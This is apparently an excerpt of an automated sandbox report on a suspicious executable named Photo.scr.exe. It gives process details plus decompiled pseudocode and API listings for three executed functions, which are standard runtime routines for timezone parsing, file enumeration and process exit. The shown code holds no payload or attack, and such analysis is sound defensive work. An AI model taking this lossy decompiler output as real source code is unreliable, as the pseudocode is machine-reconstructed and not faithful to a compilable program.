Imagebase:	0x7ff7b1050000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 21452, Parent PID: 564

General

Target ID:	45
Start time:	09:15:29
Start date:	23/08/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7b1050000
File size:	51'288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Photo.scr.exePID: 6900, Parent PID: 3524COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	73

Executed Functions

Function 001EB0CE Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 370
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E001EB0CE(void* __eflags, signed int _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v52;
				int _v56;
				int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				void* _t80;
				signed int _t84;
				signed int _t88;
				signed int _t90;
				long _t92;
				signed int* _t95;
				signed int _t98;
				signed int _t101;
				signed int _t105;
				void* _t112;
				signed int _t115;
				void* _t116;
				void* _t118;
				void* _t119;
				void* _t121;
				signed int _t123;
				signed int _t124;
				signed int _t127;
				void* _t130;
				void* _t132;
				signed int _t133;
				signed int _t135;
				void* _t141;
				intOrPtr _t142;
				void* _t144;
				signed int _t151;
				signed int _t152;
				signed int _t155;
				signed int _t159;
				signed int _t162;
				intOrPtr* _t167;
				intOrPtr _t168;
				signed int _t169;
				intOrPtr* _t170;
				void* _t171;
				void* _t172;
				signed int _t173;
				int _t177;
				signed int _t179;
				char** _t180;
				signed int _t184;
				signed int _t186;
				void* _t195;
				signed int _t196;
				void* _t197;
				signed int _t198;

				_push(_t179);
				_t65 = E001EAD0D();
				_v8 = _v8 & 0x00000000;
				_t135 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t135;
				if(E001EAD6B( &_v8) != 0 || E001EAD13( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E001E16A1();
					asm("int3");
					_t195 = _t197;
					_t198 = _t197 - 0x10;
					_push(_t135);
					_t180 = E001EAD0D();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E001EAD6B( &_v52);
					_t144 = _t179;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E001E16A1();
						asm("int3");
						_push(_t195);
						_t196 = _t198;
						_t74 =  *0x1fc008; // 0x369f4a24
						_v100 = _t74 ^ _t196;
						 *0x1fc91c =  *0x1fc91c | 0xffffffff;
						 *0x1fc910 =  *0x1fc910 | 0xffffffff;
						_push(0);
						_push(_t180);
						_push(_t172);
						_t137 = "TZ";
						_t173 = 0;
						 *0x20a588 = 0;
						_t78 = E001E6D9A("TZ", _t168, 0, _t180, __eflags,  &_v360,  &_v356, 0x100, "TZ");
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t186 = E001E0964(_t144, _v276);
								__eflags = _t186;
								if(__eflags != 0) {
									_t84 = E001E6D9A(_t137, _t168, 0, _t186, __eflags,  &_v280, _t186, _v276, _t137);
									__eflags = _t84;
									if(_t84 == 0) {
										E001E092A(0);
										_t173 = _t186;
									} else {
										_push(_t186);
										goto L72;
									}
								} else {
									_push(0);
									L72:
									E001E092A();
								}
							}
						} else {
							_t173 =  &_v272;
						}
						asm("sbb esi, esi");
						_t184 =  ~(_t173 -  &_v272) & _t173;
						__eflags = _t173;
						if(_t173 == 0) {
							L80:
							L47(); // executed
						} else {
							__eflags =  *_t173;
							if(__eflags == 0) {
								goto L80;
							} else {
								_push(_t173);
								E001EB0CE(__eflags);
							}
						}
						_t80 = E001E092A(_t184);
						__eflags = _v16 ^ _t196;
						E001D7760();
						return _t80;
					} else {
						_t88 = E001EAD13( &_v16);
						_pop(_t144);
						__eflags = _t88;
						if(_t88 != 0) {
							goto L66;
						} else {
							_t90 = E001EAD3F( &_v20);
							_pop(_t144);
							__eflags = _t90;
							if(_t90 != 0) {
								goto L66;
							} else {
								E001E092A( *0x20a584);
								 *0x20a584 = 0;
								 *_t198 = 0x20a590; // executed
								_t92 = GetTimeZoneInformation(??); // executed
								__eflags = _t92 - 0xffffffff;
								if(_t92 != 0xffffffff) {
									_t151 =  *0x20a590 * 0x3c;
									_t169 =  *0x20a5e4; // 0x0
									_push(_t172);
									 *0x20a588 = 1;
									_v12 = _t151;
									__eflags =  *0x20a5d6; // 0xb
									if(__eflags != 0) {
										_t152 = _t151 + _t169 * 0x3c;
										__eflags = _t152;
										_v12 = _t152;
									}
									__eflags =  *0x20a62a; // 0x3
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t105 =  *0x20a638; // 0xffffffc4
										__eflags = _t105;
										if(_t105 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t105 - _t169) * 0x3c;
										}
									}
									_t177 = E001E7E33(0, _t169);
									_t98 = WideCharToMultiByte(_t177, 0, "Pacific Standard Time", 0xffffffff,  *_t180, 0x3f, 0,  &_v24);
									__eflags = _t98;
									if(_t98 == 0) {
										L60:
										 *( *_t180) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											( *_t180)[0x3f] = 0;
										}
									}
									_t101 = WideCharToMultiByte(_t177, 0, "Pacific Daylight Time", 0xffffffff, _t180[1], 0x3f, 0,  &_v24);
									__eflags = _t101;
									if(_t101 == 0) {
										L64:
										 *(_t180[1]) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											_t180[1][0x3f] = 0;
										}
									}
								}
								 *(E001EAD07()) = _v12;
								 *((intOrPtr*)(E001EACFB())) = _v16;
								_t95 = E001EAD01();
								 *_t95 = _v20;
								return _t95;
							}
						}
					}
				} else {
					_t170 =  *0x20a584; // 0x0
					_t179 = _a4;
					if(_t170 == 0) {
						L12:
						E001E092A(_t170);
						_t155 = _t179;
						_t12 = _t155 + 1; // 0x1eb4bf
						_t171 = _t12;
						do {
							_t112 =  *_t155;
							_t155 = _t155 + 1;
						} while (_t112 != 0);
						_t13 = _t155 - _t171 + 1; // 0x1eb4c0
						 *0x20a584 = E001E0964(_t155 - _t171, _t13);
						_t115 = E001E092A(0);
						_t168 =  *0x20a584; // 0x0
						if(_t168 == 0) {
							goto L45;
						} else {
							_t159 = _t179;
							_push(_t172);
							_t14 = _t159 + 1; // 0x1eb4bf
							_t172 = _t14;
							do {
								_t116 =  *_t159;
								_t159 = _t159 + 1;
							} while (_t116 != 0);
							_t15 = _t159 - _t172 + 1; // 0x1eb4c0
							_t118 = E001E09B2(_t168, _t15, _t179);
							_t197 = _t197 + 0xc;
							if(_t118 != 0) {
								goto L46;
							} else {
								_t172 = 3;
								_push(_t172);
								_t119 = E001E4FCB(_t160,  *_t135, 0x40, _t179);
								_t197 = _t197 + 0x10;
								if(_t119 != 0) {
									goto L46;
								} else {
									while( *_t179 != 0) {
										_t179 = _t179 + 1;
										_t172 = _t172 - 1;
										if(_t172 != 0) {
											continue;
										}
										break;
									}
									_pop(_t172);
									_t135 = _t135 & 0xffffff00 |  *_t179 == 0x0000002d;
									if(_t135 != 0) {
										_t179 = _t179 + 1;
									}
									_t162 = E001E149D(_t160, _t179) * 0xe10;
									_v8 = _t162;
									while(1) {
										_t121 =  *_t179;
										if(_t121 != 0x2b && (_t121 < 0x30 || _t121 > 0x39)) {
											break;
										}
										_t179 = _t179 + 1;
									}
									__eflags =  *_t179 - 0x3a;
									if( *_t179 == 0x3a) {
										_t179 = _t179 + 1;
										_t162 = _v8 + E001E149D(_t162, _t179) * 0x3c;
										_v8 = _t162;
										while(1) {
											_t130 =  *_t179;
											__eflags = _t130 - 0x30;
											if(_t130 < 0x30) {
												break;
											}
											__eflags = _t130 - 0x39;
											if(_t130 <= 0x39) {
												_t179 = _t179 + 1;
												__eflags = _t179;
												continue;
											}
											break;
										}
										__eflags =  *_t179 - 0x3a;
										if( *_t179 == 0x3a) {
											_t179 = _t179 + 1;
											_t162 = _v8 + E001E149D(_t162, _t179);
											_v8 = _t162;
											while(1) {
												_t132 =  *_t179;
												__eflags = _t132 - 0x30;
												if(_t132 < 0x30) {
													goto L38;
												}
												__eflags = _t132 - 0x39;
												if(_t132 <= 0x39) {
													_t179 = _t179 + 1;
													__eflags = _t179;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t135;
									if(_t135 != 0) {
										_v8 = _t162;
									}
									__eflags =  *_t179;
									_t123 = 0 |  *_t179 != 0x00000000;
									_v16 = _t123;
									__eflags = _t123;
									_t124 = _v12;
									if(_t123 == 0) {
										_t29 = _t124 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										goto L44;
									} else {
										_push(3);
										_t28 = _t124 + 4; // 0xfffffddd
										_t127 = E001E4FCB(_t162,  *_t28, 0x40, _t179);
										_t197 = _t197 + 0x10;
										__eflags = _t127;
										if(_t127 == 0) {
											L44:
											 *(E001EAD07()) = _v8;
											_t115 = E001EACFB();
											 *_t115 = _v16;
											goto L45;
										} else {
											goto L46;
										}
									}
								}
							}
						}
					} else {
						_t167 = _t170;
						_t133 = _t179;
						while(1) {
							_t141 =  *_t133;
							if(_t141 !=  *_t167) {
								break;
							}
							if(_t141 == 0) {
								L8:
								_t115 = 0;
							} else {
								_t9 = _t133 + 1; // 0xdde805eb
								_t142 =  *_t9;
								if(_t142 !=  *((intOrPtr*)(_t167 + 1))) {
									break;
								} else {
									_t133 = _t133 + 2;
									_t167 = _t167 + 2;
									if(_t142 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t115 == 0) {
								L45:
								return _t115;
							} else {
								_t135 = _v12;
								goto L12;
							}
							goto L82;
						}
						asm("sbb eax, eax");
						_t115 = _t133 | 0x00000001;
						__eflags = _t115;
						goto L10;
					}
				}
				L82:
			}

0x001eb0d7
0x001eb0d8
0x001eb0dd
0x001eb0e1
0x001eb0e3
0x001eb0eb
0x001eb0f6
0x001eb296
0x001eb298
0x001eb299
0x001eb29a
0x001eb29b
0x001eb29c
0x001eb29d
0x001eb2a2
0x001eb2a6
0x001eb2a8
0x001eb2ab
0x001eb2b2
0x001eb2b9
0x001eb2bd
0x001eb2c0
0x001eb2c3
0x001eb2c8
0x001eb2c9
0x001eb2cb
0x001eb3f3
0x001eb3f3
0x001eb3f4
0x001eb3f5
0x001eb3f6
0x001eb3f7
0x001eb3f8
0x001eb3fd
0x001eb400
0x001eb401
0x001eb409
0x001eb410
0x001eb413
0x001eb420
0x001eb427
0x001eb428
0x001eb429
0x001eb42a
0x001eb42f
0x001eb43e
0x001eb445
0x001eb44d
0x001eb44f
0x001eb459
0x001eb45c
0x001eb469
0x001eb46c
0x001eb46e
0x001eb487
0x001eb48f
0x001eb491
0x001eb497
0x001eb49c
0x001eb493
0x001eb493
0x00000000
0x001eb493
0x001eb470
0x001eb470
0x001eb471
0x001eb471
0x001eb471
0x001eb49e
0x001eb451
0x001eb451
0x001eb451
0x001eb4ab
0x001eb4ad
0x001eb4af
0x001eb4b1
0x001eb4c1
0x001eb4c1
0x001eb4b3
0x001eb4b3
0x001eb4b6
0x00000000
0x001eb4b8
0x001eb4b8
0x001eb4b9
0x001eb4be
0x001eb4b6
0x001eb4c7
0x001eb4d2
0x001eb4d5
0x001eb4dd
0x001eb2d1
0x001eb2d5
0x001eb2da
0x001eb2db
0x001eb2dd
0x00000000
0x001eb2e3
0x001eb2e7
0x001eb2ec
0x001eb2ed
0x001eb2ef
0x00000000
0x001eb2f5
0x001eb2fb
0x001eb300
0x001eb306
0x001eb30d
0x001eb313
0x001eb316
0x001eb31c
0x001eb323
0x001eb329
0x001eb32d
0x001eb333
0x001eb336
0x001eb33d
0x001eb342
0x001eb342
0x001eb344
0x001eb344
0x001eb347
0x001eb34e
0x001eb366
0x001eb366
0x001eb369
0x001eb350
0x001eb350
0x001eb355
0x001eb357
0x00000000
0x001eb359
0x001eb35b
0x001eb361
0x001eb361
0x001eb357
0x001eb371
0x001eb385
0x001eb38b
0x001eb38d
0x001eb39b
0x001eb39d
0x001eb38f
0x001eb38f
0x001eb392
0x00000000
0x001eb394
0x001eb396
0x001eb396
0x001eb392
0x001eb3b2
0x001eb3b9
0x001eb3bb
0x001eb3ca
0x001eb3cd
0x001eb3bd
0x001eb3bd
0x001eb3c0
0x00000000
0x001eb3c2
0x001eb3c5
0x001eb3c5
0x001eb3c0
0x001eb3bb
0x001eb3d7
0x001eb3e1
0x001eb3e6
0x001eb3eb
0x001eb3f2
0x001eb3f2
0x001eb2ef
0x001eb2dd
0x001eb10e
0x001eb10e
0x001eb114
0x001eb119
0x001eb14f
0x001eb150
0x001eb156
0x001eb158
0x001eb158
0x001eb15b
0x001eb15b
0x001eb15d
0x001eb15e
0x001eb164
0x001eb16f
0x001eb174
0x001eb179
0x001eb183
0x00000000
0x001eb189
0x001eb189
0x001eb18b
0x001eb18c
0x001eb18c
0x001eb18f
0x001eb18f
0x001eb191
0x001eb192
0x001eb199
0x001eb19e
0x001eb1a3
0x001eb1a8
0x00000000
0x001eb1ae
0x001eb1b0
0x001eb1b1
0x001eb1b7
0x001eb1bc
0x001eb1c1
0x00000000
0x001eb1c7
0x001eb1c7
0x001eb1cc
0x001eb1cd
0x001eb1d0
0x00000000
0x00000000
0x00000000
0x001eb1d0
0x001eb1d5
0x001eb1d6
0x001eb1db
0x001eb1dd
0x001eb1dd
0x001eb1e5
0x001eb1eb
0x001eb1ee
0x001eb1ee
0x001eb1f2
0x00000000
0x00000000
0x001eb1fc
0x001eb1fc
0x001eb1ff
0x001eb202
0x001eb204
0x001eb212
0x001eb214
0x001eb21e
0x001eb21e
0x001eb220
0x001eb222
0x00000000
0x00000000
0x001eb219
0x001eb21b
0x001eb21d
0x001eb21d
0x00000000
0x001eb21d
0x00000000
0x001eb21b
0x001eb224
0x001eb227
0x001eb229
0x001eb234
0x001eb236
0x001eb240
0x001eb240
0x001eb242
0x001eb244
0x00000000
0x00000000
0x001eb23b
0x001eb23d
0x001eb23f
0x001eb23f
0x00000000
0x001eb23f
0x00000000
0x001eb23d
0x001eb240
0x001eb227
0x001eb246
0x001eb246
0x001eb248
0x001eb24c
0x001eb24c
0x001eb251
0x001eb253
0x001eb256
0x001eb259
0x001eb25b
0x001eb25e
0x001eb276
0x001eb279
0x00000000
0x001eb260
0x001eb260
0x001eb265
0x001eb268
0x001eb26d
0x001eb270
0x001eb272
0x001eb27c
0x001eb284
0x001eb289
0x001eb28e
0x00000000
0x001eb274
0x00000000
0x001eb274
0x001eb272
0x001eb25e
0x001eb1c1
0x001eb1a8
0x001eb11b
0x001eb11b
0x001eb11d
0x001eb11f
0x001eb11f
0x001eb123
0x00000000
0x00000000
0x001eb127
0x001eb13b
0x001eb13b
0x001eb129
0x001eb129
0x001eb129
0x001eb12f
0x00000000
0x001eb131
0x001eb131
0x001eb134
0x001eb139
0x00000000
0x00000000
0x00000000
0x00000000
0x001eb139
0x001eb12f
0x001eb144
0x001eb146
0x001eb290
0x001eb295
0x001eb14c
0x001eb14c
0x00000000
0x001eb14c
0x00000000
0x001eb146
0x001eb13f
0x001eb141
0x001eb141
0x00000000
0x001eb141
0x001eb119
0x00000000

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000000,00000000,?,001F91C0), ref: 001EB30D
WideCharToMultiByte.KERNEL32(00000000,00000000,Pacific Standard Time,000000FF,00000000,0000003F,00000000,?,?), ref: 001EB385
WideCharToMultiByte.KERNEL32(00000000,00000000,Pacific Daylight Time,000000FF,?,0000003F,00000000,?), ref: 001EB3B2

Strings

Pacific Standard Time, xrefs: 001EB37E
Pacific Daylight Time, xrefs: 001EB3AB

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ByteCharMultiWide$InformationTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time
API String ID: 1904278450-1154798116
Opcode ID: 1cae8b1eecfcd62eca3dc0ea85924041a4ea0b8c286e3bd48e72bc88dce88446
Instruction ID: 923f318389b4940eba19cac23e80a6a9e91f81fbf0b5bdea59dad230f5e760ee
Opcode Fuzzy Hash: 1cae8b1eecfcd62eca3dc0ea85924041a4ea0b8c286e3bd48e72bc88dce88446
Instruction Fuzzy Hash: 66C17A31908AC5ABDB259F7AECC1AAF7BF9FF55350F580059E48497282E7309E41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001DE3C3 Relevance: 6.2, APIs: 4, Instructions: 196
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E001DE3C3(void* __ebx, signed int __edx, void* __edi, void* __esi, WCHAR* _a4, signed int* _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				char _v556;
				char _v580;
				char _v588;
				char _v596;
				struct _WIN32_FIND_DATAW _v604;
				signed int* _v632;
				void* _v636;
				signed int _v648;
				FILETIME* _v1260;
				signed int _v1272;
				signed int _t54;
				WCHAR* _t56;
				signed int _t59;
				signed int _t60;
				signed int _t65;
				signed int _t66;
				signed int _t67;
				void* _t71;
				signed int _t73;
				void* _t75;
				signed int _t77;
				signed int _t78;
				int _t79;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				signed int _t92;
				FILETIME* _t94;
				signed int _t95;
				long _t104;
				long _t105;
				signed int _t106;
				signed int _t119;
				signed int _t122;
				signed int* _t125;
				signed int* _t127;
				void* _t129;
				void* _t130;
				signed int _t131;
				signed int _t132;
				void* _t134;
				signed int _t135;
				void* _t136;
				signed int _t137;

				_t119 = __edx;
				_t54 =  *0x1fc008; // 0x369f4a24
				_v8 = _t54 ^ _t131;
				_t56 = _a4;
				_push(__esi);
				_t125 = _a8;
				if(_t125 != 0) {
					if(_t56 == 0) {
						goto L1;
					} else {
						_push(__ebx);
						_t60 = FindFirstFileExW(_t56, 0,  &(_v604.ftCreationTime), 0, 0, 0); // executed
						_t122 = _t60;
						if(_t122 != 0xffffffff) {
							asm("sbb eax, eax");
							 *_t125 =  ~(_v604.ftCreationTime + 0xffffff80) & _v604.ftCreationTime;
							_t65 =  &_v596;
							_push(_t65); // executed
							L33(); // executed
							_t125[2] = _t65;
							_t66 =  &_v588;
							_push(_t66);
							_t125[3] = _t119;
							L33(); // executed
							_t125[4] = _t66;
							_t67 =  &_v580;
							_push(_t67);
							_t125[5] = _t119;
							L33(); // executed
							_t125[6] = _t67;
							_t125[8] = _v604.dwReserved0;
							_t125[7] = _t119;
							_t71 = E001E6266( &(_t125[9]), 0x104,  &_v556);
							_t135 = _t134 + 0x18;
							if(_t71 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E001E16A1();
								asm("int3");
								_push(_t131);
								_t132 = _t135;
								_t136 = _t135 - 0x254;
								_t73 =  *0x1fc008; // 0x369f4a24
								_v648 = _t73 ^ _t132;
								_t75 = _v636;
								_push(_t125);
								_t127 = _v632;
								if(_t75 != 0) {
									if(_t75 == 0xffffffff || _t127 == 0) {
										goto L18;
									} else {
										_t79 = FindNextFileW(_t75,  &_v604); // executed
										if(_t79 != 0) {
											asm("sbb eax, eax");
											 *_t127 =  ~(_v604.dwFileAttributes + 0xffffff80) & _v604.dwFileAttributes;
											_t84 =  &(_v604.ftCreationTime);
											_push(_t84);
											L33();
											_t127[2] = _t84;
											_t85 =  &(_v604.ftLastAccessTime);
											_push(_t85);
											_t127[3] = _t119;
											L33();
											_t127[4] = _t85;
											_t86 =  &(_v604.ftLastWriteTime);
											_push(_t86);
											_t127[5] = _t119;
											L33();
											_t127[6] = _t86;
											_t127[8] = _v604.nFileSizeLow;
											_t127[7] = _t119;
											_t78 = E001E6266( &(_t127[9]), 0x104,  &(_v604.cFileName));
											_t137 = _t136 + 0x18;
											if(_t78 == 0) {
												goto L20;
											} else {
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												E001E16A1();
												asm("int3");
												_push(_t132);
												_t92 =  *0x1fc008; // 0x369f4a24
												_v1272 = _t92 ^ _t137;
												_t94 = _v1260;
												if(_t94->dwLowDateTime != 0 || _t94->dwHighDateTime != 0) {
													_t94 = FileTimeToSystemTime(_t94,  &_v48);
													if(_t94 == 0) {
														goto L35;
													} else {
														_t94 = SystemTimeToTzSpecificLocalTime(0,  &_v48,  &_v32); // executed
														if(_t94 == 0) {
															goto L35;
														} else {
															_push(0xffffffff);
															_push(_v32.wSecond & 0x0000ffff);
															_t95 = E001E56B6(0, _t119, _t127, _v32.wYear & 0x0000ffff, _v32.wMonth & 0x0000ffff, _v32.wDay & 0x0000ffff, _v32.wHour & 0x0000ffff, _v32.wMinute & 0x0000ffff); // executed
														}
													}
												} else {
													L35:
													_t95 = _t94 | 0xffffffff;
												}
												E001D7760();
												return _t95;
											}
										} else {
											_t104 = GetLastError();
											_t129 = 2;
											if(_t104 < _t129) {
												L28:
												_t77 = E001DCB3C();
												 *_t77 = 0x16;
												goto L19;
											} else {
												if(_t104 <= 3) {
													L30:
													_t77 = E001DCB3C();
													 *_t77 = _t129;
													goto L19;
												} else {
													if(_t104 == 8) {
														_t77 = E001DCB3C();
														 *_t77 = 0xc;
														goto L19;
													} else {
														if(_t104 == 0x12) {
															goto L30;
														} else {
															goto L28;
														}
													}
												}
											}
										}
									}
								} else {
									L18:
									 *((intOrPtr*)(E001DCB3C())) = 0x16;
									_t77 = E001E1691();
									L19:
									_t78 = _t77 | 0xffffffff;
									L20:
									E001D7760();
									return _t78;
								}
							} else {
								_t59 = _t122;
								goto L10;
							}
						} else {
							_t105 = GetLastError();
							_t130 = 2;
							if(_t105 < _t130) {
								L8:
								_t106 = E001DCB3C();
								 *_t106 = 0x16;
							} else {
								if(_t105 <= 3) {
									L13:
									_t106 = E001DCB3C();
									 *_t106 = _t130;
								} else {
									if(_t105 == 8) {
										_t106 = E001DCB3C();
										 *_t106 = 0xc;
									} else {
										if(_t105 == 0x12) {
											goto L13;
										} else {
											goto L8;
										}
									}
								}
							}
							_t59 = _t106 | 0xffffffff;
							L10:
							goto L11;
						}
					}
				} else {
					L1:
					 *((intOrPtr*)(E001DCB3C())) = 0x16;
					_t59 = E001E1691() | 0xffffffff;
					L11:
					E001D7760();
					return _t59;
				}
			}

0x001de3c3
0x001de3ce
0x001de3d5
0x001de3d8
0x001de3db
0x001de3dc
0x001de3e1
0x001de3fa
0x00000000
0x001de3fc
0x001de3fc
0x001de40c
0x001de412
0x001de417
0x001de475
0x001de47d
0x001de47f
0x001de485
0x001de486
0x001de48b
0x001de48e
0x001de494
0x001de495
0x001de498
0x001de49d
0x001de4a0
0x001de4a6
0x001de4a7
0x001de4aa
0x001de4af
0x001de4b8
0x001de4c5
0x001de4ce
0x001de4d3
0x001de4d8
0x001de4e1
0x001de4e2
0x001de4e3
0x001de4e4
0x001de4e5
0x001de4e6
0x001de4eb
0x001de4ee
0x001de4ef
0x001de4f1
0x001de4f7
0x001de4fe
0x001de501
0x001de504
0x001de505
0x001de50a
0x001de531
0x00000000
0x001de537
0x001de53f
0x001de547
0x001de593
0x001de59b
0x001de59d
0x001de5a3
0x001de5a4
0x001de5a9
0x001de5ac
0x001de5b2
0x001de5b3
0x001de5b6
0x001de5bb
0x001de5be
0x001de5c4
0x001de5c5
0x001de5c8
0x001de5cd
0x001de5d6
0x001de5e3
0x001de5ec
0x001de5f1
0x001de5f6
0x00000000
0x001de5fc
0x001de5fe
0x001de5ff
0x001de600
0x001de601
0x001de602
0x001de603
0x001de608
0x001de60b
0x001de611
0x001de618
0x001de61b
0x001de621
0x001de635
0x001de63d
0x00000000
0x001de63f
0x001de649
0x001de651
0x00000000
0x001de653
0x001de657
0x001de659
0x001de673
0x001de678
0x001de651
0x001de629
0x001de629
0x001de629
0x001de62c
0x001de680
0x001de688
0x001de688
0x001de549
0x001de549
0x001de551
0x001de554
0x001de565
0x001de565
0x001de56a
0x00000000
0x001de556
0x001de559
0x001de57f
0x001de57f
0x001de584
0x00000000
0x001de55b
0x001de55e
0x001de572
0x001de577
0x00000000
0x001de560
0x001de563
0x00000000
0x00000000
0x00000000
0x00000000
0x001de563
0x001de55e
0x001de559
0x001de554
0x001de547
0x001de50c
0x001de50c
0x001de511
0x001de517
0x001de51c
0x001de51c
0x001de51f
0x001de525
0x001de52d
0x001de52d
0x001de4da
0x001de4da
0x00000000
0x001de4da
0x001de419
0x001de419
0x001de421
0x001de424
0x001de435
0x001de435
0x001de43a
0x001de426
0x001de429
0x001de461
0x001de461
0x001de466
0x001de42b
0x001de42e
0x001de454
0x001de459
0x001de430
0x001de433
0x00000000
0x00000000
0x00000000
0x00000000
0x001de433
0x001de42e
0x001de429
0x001de440
0x001de443
0x00000000
0x001de444
0x001de417
0x001de3e3
0x001de3e3
0x001de3e8
0x001de3f3
0x001de445
0x001de44b
0x001de453
0x001de453

APIs

FindFirstFileExW.KERNELBASE(?,00000000,?,00000000,00000000,00000000), ref: 001DE40C
GetLastError.KERNEL32 ref: 001DE419

Part of subcall function 001DE609: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,001DE48B,?), ref: 001DE635
Part of subcall function 001DE609: SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,001DE48B,?,?,?,?,001DE48B,?), ref: 001DE649

FindNextFileW.KERNELBASE(?,?,?), ref: 001DE53F
GetLastError.KERNEL32 ref: 001DE549

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: Time$File$ErrorFindLastSystem$FirstLocalNextSpecific
String ID:
API String ID: 3693236040-0
Opcode ID: b0ef2ebe34b802bf420003cce8766209c6aa36c1cf78b1ceeb5f7a1db3cd846e
Instruction ID: fc3abb4ed86321028e26ca0501a9200af39e70c6ec49102ba4f7287d17486d9f
Opcode Fuzzy Hash: b0ef2ebe34b802bf420003cce8766209c6aa36c1cf78b1ceeb5f7a1db3cd846e
Instruction Fuzzy Hash: C76191B59006189BCB20BFA4DC85AAA77F8AF54355F100B5BE419CB381EB34D984CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001E015A Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E001E015A(int _a4) {
				void* _t7;
				void* _t14;

				_t7 = E001E3991(_t14); // executed
				if(_t7 != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E001E019B(_t14, _a4);
				ExitProcess(_a4);
			}

0x001e015f
0x001e0166
0x001e0182
0x001e0182
0x001e018b
0x001e0194

APIs

GetCurrentProcess.KERNEL32(?,?,001E0130,?,001FA490,0000000C,001E0243,?,00000002,00000000), ref: 001E017B
TerminateProcess.KERNEL32(00000000,?,001E0130,?,001FA490,0000000C,001E0243,?,00000002,00000000), ref: 001E0182
ExitProcess.KERNEL32 ref: 001E0194

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

